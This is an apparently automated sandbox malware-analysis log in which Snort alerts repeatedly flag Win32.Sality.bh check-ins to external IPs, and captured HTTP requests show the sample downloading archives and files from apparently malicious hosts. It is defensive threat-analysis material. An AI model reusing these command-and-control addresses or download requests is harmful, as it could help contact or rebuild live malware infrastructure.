                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49804 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49805 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49806 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49807 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49808 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49809 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49810 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49811 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49812 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49813 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49814 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49815 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49816 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49817 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49818 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49819 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49820 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49821 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49822 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49823 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49824 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49825 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49826 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49827 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49828 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49829 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49830 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49831 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49832 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49833 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49835 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49836 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49837 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49838 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49839 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49841 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49842 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49843 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49844 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49845 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49847 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49848 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49849 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49850 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49851 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49853 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49854 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49855 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49856 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49857 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49859 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49860 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49861 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49862 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49863 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49865 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49866 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49867 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49868 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49869 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49871 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49872 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49873 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49874 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49875 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49877 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49878 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49879 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49880 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49881 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49883 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49884 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49885 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49886 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49887 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49889 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49890 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49891 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49892 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49893 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49895 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49896 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49897 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49898 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49899 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49901 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49902 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49903 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49904 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49905 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49907 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49908 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49909 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49910 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49911 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49913 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49914 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49915 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49916 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49917 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49919 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49920 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49921 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49922 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49923 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49925 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49926 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49927 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49928 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49929 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49931 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49932 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49933 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49934 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49935 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49937 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49938 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49939 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49940 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49941 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49943 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49944 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49945 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49946 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49947 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49949 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49950 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49951 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49952 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49953 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49955 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49956 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49957 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49958 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49959 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49961 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49962 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49963 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49964 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49965 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49967 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49968 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49969 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49970 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49971 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49973 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49974 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49975 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49976 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49977 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49979 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49980 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49981 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49982 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49983 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49985 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49986 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49987 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49988 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49989 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49991 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49992 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49993 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49994 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49995 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49997 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49998 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49999 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50000 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50001 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50003 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50004 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50005 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50006 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50007 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50009 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50010 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50011 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50012 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50013 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50015 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50016 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50017 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50018 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50019 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50021 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50022 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:50023 -> 44.221.84.105:80
                Uses known network protocols on non-standard ports
                Source: unknownNetwork traffic detected: HTTP traffic on port 49706 -> 799
                Source: unknownNetwork traffic detected: HTTP traffic on port 49712 -> 799
                Source: unknownNetwork traffic detected: HTTP traffic on port 49719 -> 799
                Source: global trafficTCP traffic: 192.168.2.7:49706 -> 44.221.84.105:799
                Source: global trafficUDP traffic: 192.168.2.7:50714 -> 85.17.167.196:9832
                Source: Joe Sandbox ViewIP Address: 44.221.84.105 44.221.84.105
                Source: Joe Sandbox ViewIP Address: 54.244.188.177 54.244.188.177
                Source: Joe Sandbox ViewASN Name: AMAZON-AESUS AMAZON-AESUS
                Source: Joe Sandbox ViewASN Name: HETZNER-ASDE HETZNER-ASDE
                Source: Joe Sandbox ViewASN Name: AMAZON-02US AMAZON-02US
                Source: Joe Sandbox ViewASN Name: AEROTEK-ASTR AEROTEK-ASTR
                Source: global trafficHTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?4ad8f3=24526015 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /xs.jpg?4cac3c=10049656 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?4dbdbb=20379372 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /xs.jpg?5099e9=26411405 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?53338f=5452687 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /cj//k2.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
